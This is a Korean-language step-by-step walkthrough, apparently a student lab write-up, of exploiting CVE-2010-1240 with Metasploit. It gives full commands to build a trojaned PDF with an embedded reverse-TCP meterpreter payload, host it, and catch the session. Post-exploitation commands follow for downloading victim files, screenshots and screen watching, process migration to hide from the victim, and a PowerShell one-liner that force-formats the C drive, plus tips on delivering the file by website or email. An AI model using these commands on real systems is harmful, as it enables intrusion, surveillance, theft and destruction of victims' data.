
이 데모 비디오는 실제로 임베디드 페이로드로 구성된 무해해 보이는 PDF 파일을 대상에게 전송하여 피해자의 장치를 제어할 수 있는 방법을 보여줍니다. 이 익스플로잇은 CVE-2010-1240으로 공개되었습니다.
제공
이 데모 비디오는 겉보기에는 무해해 보이지만 실제로는 임베디드 페이로드가 포함된 PDF 파일을 대상에게 보내 피해자의 장치를 어떻게 제어할 수 있는지 보여줍니다. 이 익스플로잇은 CVE-2010-1240으로 공개되었습니다.
PDF가 Adobe Reader에서 열리자마자, 보안 팝업에 동의하도록 속은 사용자는 리버스 TCP 연결을 통해 우리가 그들의 장치에 연결된 meterpreter 세션을 획득하게 합니다. 그때까지, 그들의 모든 데이터와 현재 하고 있는 모든 것이 우리의 감시 하에 있습니다.

먼저, Metasploit 프레임워크에 접근하기 위한 명령줄 인터페이스를 제공하는 MSFconsole을 실행합니다.
msfconsole
그런 다음, 대상 Windows 플랫폼 및 Adobe PDF Reader와 일치하는 익스플로잇을 검색합니다. 그러면 피해자의 Windows 머신에 침투하고 Adobe PDF Reader 취약점을 악용하는 데 사용할 수 있는 전체 익스플로잇 목록이 표시됩니다.
search type:exploit platform:windows adobe pdf
이 익스플로잇에서는 아래 명령을 사용하여 'adobe_pdf_embedded_exe' 모듈을 선택하고 사용하여 피해자를 하이재킹하는 목표를 달성합니다.
use exploit/windows/fileformat/adobe_pdf_embedded_exe
또한 아래와 같이 'info' 명령을 사용하여 익스플로잇의 정보를 확인할 수 있습니다.
info
그런 다음, 리버스 TCP 연결을 사용하도록 페이로드를 설정합니다. 또한 대화형 셸을 제공하는 Meterpreter를 사용하여 코드를 삽입하고 실행함으로써 피해자의 머신을 탐색하는 다양한 기능을 쉽게 사용할 수 있습니다.
set payload windows/meterpreter/reverse_tcp
그런 다음, 리스닝 호스트와 포트를 설정합니다. LHOST의 경우 공격자 머신의 IP 주소를 입력해야 하며, 이 경우 Kali 머신의 IP 주소(10.0.2.4)입니다.*
*참고*
한편 LPORT는 일반적으로 사용되지 않는 포트 번호를 설정하면 됩니다.
# to check Kali machine’s IP address
ifconfig
set LHOST *10.0.2.4*
set LPORT 5665
그런 다음 INFILENAME* 플래그를 사용하여 PDF의 기본 파일을 설정합니다. 다음으로, 피해자가 악성 PDF 파일을 열도록 관심을 끌 수 있는 파일명으로 설정합니다.
*참고*
set INFILENAME '/home/kali/Documents/WIC3004Assignment.pdf'
set FILENAME 'Bawang_Ranger_WIC3004Report.pdf'
'exploit' 명령을 입력하여 PDF와 함께 페이로드를 생성하기 전에 옵션을 다시 확인할 수 있습니다.
# Then we can show the info or options by
show info | show options
exploit
PDF 파일을 생성한 후, 파일을 /var/www/html로 이동합니다. 이 디렉토리는 Kali 머신의 웹 애플리케이션 서버를 호스팅하는 곳으로, 피해자가 나중에 PDF 파일을 다운로드할 수 있도록 합니다.
참고:
sudo mv /home/kali/.msf4/local/Bawang_Ranger_WIC3004Report.pdf /var/www/html
그런 다음 리스너를 설정하기 위해 'exploit/multi/handler'를 사용합니다. 다시 한 번 악성 PDF 파일을 생성할 때 정의한 대로 페이로드, LHOST, LPORT를 설정합니다. 그런 다음 페이로드를 실행합니다.
참고:
show info 또는 show options는 선택적으로 실행할 수 있는 명령입니다.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.2.4
set LPORT 5665
[show info | show options]
run
다른 터미널에서 Apache 서버의 상태를 확인하여 /var/www/html에 있는 PDF 파일을 호스팅하고 있는지 확인합니다. 그래야 피해자가 파일을 다운로드할 수 있습니다.
service apache2 status
# If it is inactive, start the service
service apache2 start
Windows 머신에서 Chrome 브라우저와 같은 브라우저를 열고 Kali IP (10.0.2.4)*를 입력하여 Kali 머신의 웹 애플리케이션 서버에 접속합니다.
*참고: 자신의 Kali 머신 IP 주소를 확인하세요
그런 다음 사용자가 의도된 PDF 파일을 저장하는 시뮬레이션을 합니다.
피해자가 Adobe Reader 8.1.2에서 보안 프롬프트 메시지를 수락하며 파일을 열면, Kali 머신에서 리버스 TCP 연결을 통해 새 세션이 연결된 것을 확인할 수 있습니다.
실제 시나리오에서는 임베디드 페이로드가 포함된 PDF로 웹사이트를 설정하여 피해자가 파일을 다운로드하거나 이메일로 첨부하도록 합니다.
이제 피해자의 머신에 원격으로 접근하여 meterpreter 세션에서 원하는 추가 악성 행위를 수행할 수 있습니다.
help
pwd
ls
예를 들어 password.txt라는 파일이 있다면 download password.txt 명령을 실행할 수 있습니다.
download [folder name | filename with extension]
물론, 정말 악의적이라면 Windows 머신에 계속 연결할 수 있도록 악성 스크립트(백도어 심기)를 작성할 수 있습니다! 💀
# Boot command prompt at background
execute -f cmd.exe -H -i
# Create file on Windows
echo "You have been hacked" > hack.txt
#open the txt file we have just created
hack.txt
# Take screenshot
screenshot
# Watch the remote user in real time
screenshare
그러나 공격자는 meterpreter 세션에서 migrate 모듈을 사용하여 meterpreter 프로세스를 다른 프로세스로 마이그레이션함으로써 의심을 줄일 수 있습니다.
meterpreter> run post/windows/manage/migrate
여기서는 자동으로 피해자 머신에서 새로운 프로세스를 생성하여 그곳으로 마이그레이션됩니다. 그러면 피해자는 감염된 PDF 파일을 삭제할 수 있지만, 프로세스가 이미 다른 곳으로 이동했다는 사실을 전혀 인식하지 못합니다.
공격자는 명령 프롬프트(cmd) 또는 PowerShell을 사용하여 대상 머신에 악성 스크립트를 추가로 생성할 수 있으며, 이는 전체 운영 체제를 제대로 작동하지 않게 만들 수 있습니다.
meterpreter> shell
# Start the Windows PowerShell
powershell
#Powershell command to forcefully format the C drive clean.
New-Partition -DiskNumber 1 -UseMaximumSize -AssignDriveLetter C| Format-Volume -DriveLetter C -FileSystemLabel "New"-FileSystem NTFS -Full -Force -Confirm:$false